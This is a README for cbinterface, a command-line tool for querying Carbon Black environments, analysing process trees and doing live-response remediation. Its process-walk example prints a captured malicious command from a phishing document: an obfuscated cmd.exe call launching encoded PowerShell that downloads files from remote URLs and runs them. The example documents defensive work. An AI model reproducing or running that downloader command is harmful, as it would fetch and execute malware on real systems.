/cbinterface

command line tool for interfacing with multiple carbonblack environments to perform analysis and live response functions

Primary LanguagePythonApache License 2.0Apache-2.0

^^^^ Much better.

OLD STUFF BELOW

cbinterface

cbinterface is a command line tool for interfacing with multiple carbonblack environments to perform analysis and live response functions.

Demo

The following demo shows how cbinterface can be used to query multiple environments, investigate process trees, isolate sensors, and perform live response collections and remediations on sensors.

Cbinterface Demo: RAT scenario

Some Basic Examples

query

You can preform any query via the command line that you could perform via the CbResponse GUI. Search for a md5:

$ cbinterface query md5:04A34D3737B01636C5BD8C4FFB542896

Searching acme environment..

3 processes returned by the query
 
    -------------------------
    Process GUID: 0000034c-0000-1180-01d3-06eb7d86e9fb
    Process Name:                                                                                                                                                      .exe
    Process PID: 4480
    Command Line: "D:\                                                                                                                                                     .exe"
    Parent Name: explorer.exe
    Hostname: win7-blahHost
    Start Time: 2017-07-27 15:17:42.009000
    GUI Link: https://cbserver.prod.acmecorp.com/#analyze/0000034c-0000-1180-01d3-06eb7d86e9fb/
 
    -------------------------
    Process GUID: 0000034c-0000-2120-01d3-06eb5dd25140
    Process Name: dw20.exe
    Process PID: 8480
    Command Line: dw20.exe -x -s 664
    Parent Name:                                                                                                                                                      .exe
    Hostname: win7-blahHost
    Start Time: 2017-07-27 15:16:51.325000
    GUI Link: https://cbserver.prod.acmecorp.com/#analyze/0000034c-0000-2120-01d3-06eb5dd25140/1501168673628
 
    -------------------------
    Process GUID: 0000034c-0000-1614-01d3-06eb5f812a21
    Process Name:                                                                                                                                                      .exe
    Process PID: 5652
    Command Line: "D:\                                                                                                                                                     .exe"
    Parent Name: explorer.exe
    Hostname: win7-blahHost
    Start Time: 2017-07-27 15:16:48.502000
    GUI Link: https://cbserver.prod.acmecorp.com/#analyze/0000034c-0000-1614-01d3-06eb5f812a21/1501168673628

Searching othercomp environment..

0 process segments returned by the query,

Query for a keyword on the command line, starting after a certain time and specifying a specific environment:

$ cbinterface -e sandbox query 'cmdline:Invoice*' -s '2018-08-21 07:00:00'

        -------------------------
        Process GUID: 0000001c-0000-0fd0-01d4-3943033fdf40
        Process Name: winword.exe
        Process PID: 4048
        Process MD5: bff948019509b5bf3f9b6ceed2e2b8e3
        Command Line: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Invoice Confirmation 0O59758.doc"
        Parent Name: outlook.exe
        Hostname: win-pc-balh
        Username: SANDCORP\sandman
        Start Time: 2018-08-21 07:35:08.069000-0400
        GUI Link: https://sandbox.local/#analyze/0000001c-0000-0fd0-01d4-3943033fdf40/1534853413801
        

Process analysis

Walk a process, and print out any filemod events in the process tree:

$ cbinterface proc 0000001c-0000-0fd0-01d4-3943033fdf40 -w -fm

Using acme environment ..

 "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Invoice Confirmation 0O59758.doc" (PID=4048)
   "C:\Windows\System32\cmd.exe"  /v^:/r "  S^ET^   ^0^K^J^=p^ower[h^ell^ ^-e^ ^JA2C^A^FQA^T^w^A^9^A^G^4AZQ^2^3AC0Ab^w2@AG^o^A^ZQ2j^A^HQA+^A^2OA^G,AdA^A)^AFc^A^Z^Q2^@A/^M^Ab^A^2^p^AG^,A^b^g20AD[A^JA^2^:A^F]Ab^A^A^9^ACc^A^a^A2^0^AHQ^AcAA^6ACuA^L^w^2qA^H^,^Ac^w20^A^G^,^Ad^g2v^AGw^Adg^2lAHcA^a^Q^20AGg^A^Zw^2y^AG/A]^w^2^l^AC^4^A]w^2vAG^0^A^L^w^2^P^A/^u^Acw2w^A/AAaA^20A^HQAcAA^6AC^uALw^2^%A^Gu^A^ZA2h^AC^4^AbQ2h^AG[^Ae^Q2h^A^Go^AcA^2^lAH^+Aa^Q2zAG^k^ALg2j^AG^uAb^Q^AvAG^4^Aag2^AA^G^gA^dA^20^AHAAOgAv^AC^u^A^bQ^2^h^AG^kA^b^A^A)^A^D/A^M^g2n^A^H^+^A^]Q^2@AC^4A^]w2vAG0A^Lw2J^A/AAa^A2^0^A&QAc^A^A6AC^u^ALw^2^%^AH^,Aa^g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aQBjACsAJwBcACcAKwAkAGkAVgBZACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJABXAFoAdQAgAGkAbgAgACQAZgBWAGwAKQB7AHQAcgB5AHsAJABCAFQATwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABXAFoAdQAsACAAJABVAHAAYgApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABVAHAAYgA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=   (PID=2464)

+  winword.exe (PID:4048) - 0000001c-0000-0fd0-01d4-3943033fdf40
  === FILEMODS ====
  2018-08-21 07:35:11.073000-0400: FirstWrote: c:\users\sandman\appdata\local\temp\cvr1d81.tmp.cvr
  2018-08-21 07:35:11.073000-0400: Deleted: c:\users\sandman\appdata\local\temp\cvr1d81.tmp
  2018-08-21 07:35:11.454000-0400: FirstWrote: c:\users\sandman\appdata\roaming\microsoft\templates\~$normal.dotm
  2018-08-21 07:35:11.454000-0400: FirstWrote: c:\analysis\0\bin\~$normal.dotm.3279569956
  2018-08-21 07:35:11.504000-0400: FirstWrote: c:\users\sandman\appdata\local\microsoft\windows\temporary internet files\content.word\~wrs{30bdd0a0-5905-40ad-9ed4-f1591f3866a9}.tmp
  2018-08-21 07:35:11.504000-0400: FirstWrote: c:\analysis\0\bin\~wrs{30bdd0a0-5905-40ad-9ed4-f1591f3866a9}.tmp.1554814961
  2018-08-21 07:35:51.694000-0400: FirstWrote: c:\~$voice confirmation 0o59758.doc
  2018-08-21 07:35:51.694000-0400: FirstWrote: c:\analysis\0\bin\~$voice confirmation 0o59758.doc.164820488
  2018-08-21 07:35:52.465000-0400: FirstWrote: c:\users\sandman\appdata\roaming\microsoft\office\recent\invoice confirmation 0o59758.lnk
  2018-08-21 07:35:52.465000-0400: FirstWrote: c:\analysis\0\bin\invoice confirmation 0o59758.lnk.1355676710
  2018-08-21 07:35:52.476000-0400: FirstWrote: c:\users\sandman\appdata\roaming\microsoft\office\recent\index.dat
  2018-08-21 07:35:52.556000-0400: Deleted: c:\users\sandman\appdata\roaming\microsoft\office\recent\invoice confirmation 0o59758.lnk
  2018-08-21 07:35:52.586000-0400: FirstWrote: c:\analysis\0\bin\index.dat.3329669335

+  cmd.exe (PID:1736) - 0000001c-0000-06c8-01d4-39431dd7d4b0
  === FILEMODS ====

+  powershell.exe (PID:2464) - 0000001c-0000-09a0-01d4-39431e4a6fc0
  === FILEMODS ====
  2018-08-21 07:36:05.650000-0400: FirstWrote: c:\users\sandman\appdata\roaming\microsoft\windows\recent\customdestinations\gik7dvs0hbwl83m8rt5u.temp
  2018-08-21 07:36:05.650000-0400: FirstWrote: c:\analysis\0\bin\gik7dvs0hbwl83m8rt5u.temp.3088633466
  2018-08-21 07:36:05.650000-0400: FirstWrote: c:\users\sandman\appdata\roaming\microsoft\windows\recent\customdestinations\d93f411851d7c929.customdestinations-ms
  2018-08-21 07:36:05.650000-0400: Deleted: c:\users\sandman\appdata\roaming\microsoft\windows\recent\customdestinations\gik7dvs0hbwl83m8rt5u.temp

Live Response

Collection

Collect a registry from a host:

$ cbinterface collect <sensor hostname> -r "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\badness"
Wed Jan  3 13:36:36 2018... starting
Using acme environment ..
LR session started at Wed Jan  3 13:38:30 2018

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\badness
-------------------------
Name: badness
Type: REG_SZ
Data: "c:\users\sandman\appdata\roaming\asdf3j\badness.exe"

Wed Jan  3 13:38:31 2018...Done.

Remediation

Remediate an infected host:

$ cat remediate.ini
[files]
file1=C:\Users\fakeuser\Desktop\testfile.txt

[process_names]
proc1=cmd.exe
proc2=notepad++.exe

[directories]
directory1=C:\Users\fakeuser\Desktop\nanocore

[pids]
pid1=10856

[registry_paths]
reg1=HKLM\Software\Microsoft\Windows\CurrentVersion\Run\calc
reg2=HKLM\Software\Microsoft\Windows\CurrentVersion\Run\hippo


$ cbinterface remediate <sensor hostname> -f remediate.ini

Mon Oct  9 16:43:58 2017... starting
Using acme environment ..
Remediating <sensor hostname>..
found: c:\program files (x86)\notepad++\notepad++.exe with pid:2788
found: c:\windows\system32\cmd.exe with pid:7212
+ successfully killed pid:10856
+ successfully killed pid:2788
+ successfully killed pid:7212
+ Deleted C:\Users\fakeuser\Desktop\testfile.txt
+ Deleted HKLM\Software\Microsoft\Windows\CurrentVersion\Run\calc
+ Deleted HKLM\Software\Microsoft\Windows\CurrentVersion\Run\hippo
+ Deleted C:\Users\fakeuser\Desktop\nanocore
Mon Oct  9 16:44:02 2017...Done.

Installation

You can use pip to install cbinterface. Pip will try and install cbapi if it's not already installed.

pip3 install cbinterface

Getting Started

Currently, cbiterface straps onto the default configuration files used by cbapi (see here).

If you have multiple carbonblack environments, you should name the sections in your credentials.response configuration something meaningful. In addition, there are currently two custom fields that cbiterface looks for in the carbonblack response configuration file. First, envtype , which specifies the type of carbonblack environment. By default, cbinterface will return results for every environment in your configuration file. However, if you create a envtype variable and set its value to anything other than 'production' you will have to use the -e flag to acess that environment. Below is an example credentials.response file:

[sandbox]
url=https://sandbox.local
token=abcdef0123456789abcdef
ssl_verify=False
envtype=sandbox

[acme]
url=https://cbserver.prod.acmecorp.com
token=aaaaaa
ssl_verify=True
ignore_system_proxy=True
envtype=production

[othercomp]
url=https://cb.othercomp.com
token=bbbbbb
ssl_verify=True
envtype=production

Also, cbinterface will use any proxy settings defined in the environment accordly with the ignore_system_proxy variable in the credentials.response config.